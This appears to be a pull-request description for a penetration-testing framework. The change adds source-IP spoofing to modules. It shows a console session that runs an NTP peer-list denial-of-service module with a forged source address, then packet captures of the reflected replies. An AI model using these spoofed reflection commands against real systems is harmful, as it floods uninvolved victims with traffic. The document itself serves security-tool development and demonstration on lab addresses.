Spoofing based requests

This PR adds the ability to perform IP based spoofing using several modules. This makes reflection based attacks easier to demonstrate.

Example:
```text
msf > use auxiliary/scanner/ntp/ntp_peer_list_dos
msf auxiliary(ntp_peer_list_dos) > set RHOSTS 10.0.0.61
RHOSTS => 10.0.0.61
emsf auxiliary(ntp_peer_list_dos) > set SRCIP 10.0.0.60
SRCIP => 10.0.0.60
msf auxiliary(ntp_peer_list_dos) > set NUM_REQUESTS 3
NUM_REQUESTS => 3
msf auxiliary(ntp_peer_list_dos) > run

[*] Sending packet to 10.0.0.61 from 10.0.0.60
[*] Sending packet to 10.0.0.61 from 10.0.0.60
[*] Sending packet to 10.0.0.61 from 10.0.0.60
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
----
tcpdump on .60
```text
    10.0.0.61.ntp > 10.0.0.62.54290: [udp sum ok] NTPv2, length 168
	Reserved, Leap indicator: -1s (128), Stratum 0 (unspecified), poll 3 (8s), precision 0
	Root Delay: 5.000488, Root dispersion: 23485.350692, Reference-ID: (unspec)
	  Reference Timestamp:  0.000000000
	  Originator Timestamp: 0.000000000
	  Receive Timestamp:    7531952.000006851 (2036/05/04 03:40:48)
	  Transmit Timestamp:   1815955956.001877025 (2093/08/23 23:40:52)
	    Originator - Receive Timestamp:  7531952.000006851 (2036/05/04 03:40:48)
	    Originator - Transmit Timestamp: 1815955956.001877025 (2093/08/23 23:40:52)
12:21:32.300625 IP (tos 0xc0, ttl 64, id 45118, offset 0, flags [DF], proto UDP (17), length 196)
    10.0.0.61.ntp > 10.0.0.62.54290: [udp sum ok] NTPv2, length 168
	Reserved, Leap indicator: -1s (128), Stratum 0 (unspecified), poll 3 (8s), precision 0
	Root Delay: 5.000488, Root dispersion: 23485.350692, Reference-ID: (unspec)
	  Reference Timestamp:  0.000000000
	  Originator Timestamp: 0.000000000
	  Receive Timestamp:    7531952.000006851 (2036/05/04 03:40:48)
	  Transmit Timestamp:   1815955956.001877025 (2093/08/23 23:40:52)
	    Originator - Receive Timestamp:  7531952.000006851 (2036/05/04 03:40:48)
	    Originator - Transmit Timestamp: 1815955956.001877025 (2093/08/23 23:40:52)
12:21:32.301361 IP (tos 0xc0, ttl 64, id 45119, offset 0, flags [DF], proto UDP (17), length 196)
    10.0.0.61.ntp > 10.0.0.62.54290: [udp sum ok] NTPv2, length 168
	Reserved, Leap indicator: -1s (128), Stratum 0 (unspecified), poll 3 (8s), precision 0
	Root Delay: 5.000488, Root dispersion: 23485.350692, Reference-ID: (unspec)
	  Reference Timestamp:  0.000000000
	  Originator Timestamp: 0.000000000
	  Receive Timestamp:    7531952.000006851 (2036/05/04 03:40:48)
	  Transmit Timestamp:   1815955956.001877025 (2093/08/23 23:40:52)
	    Originator - Receive Timestamp:  7531952.000006851 (2036/05/04 03:40:48)
	    Originator - Transmit Timestamp: 1815955956.001877025 (2093/08/23 23:40:52)

``
We could save code and typing and just put this entire method in Auxiliary::NTP (ntp.rb), and then remove the (now) duplicate code in all of the NTP modules.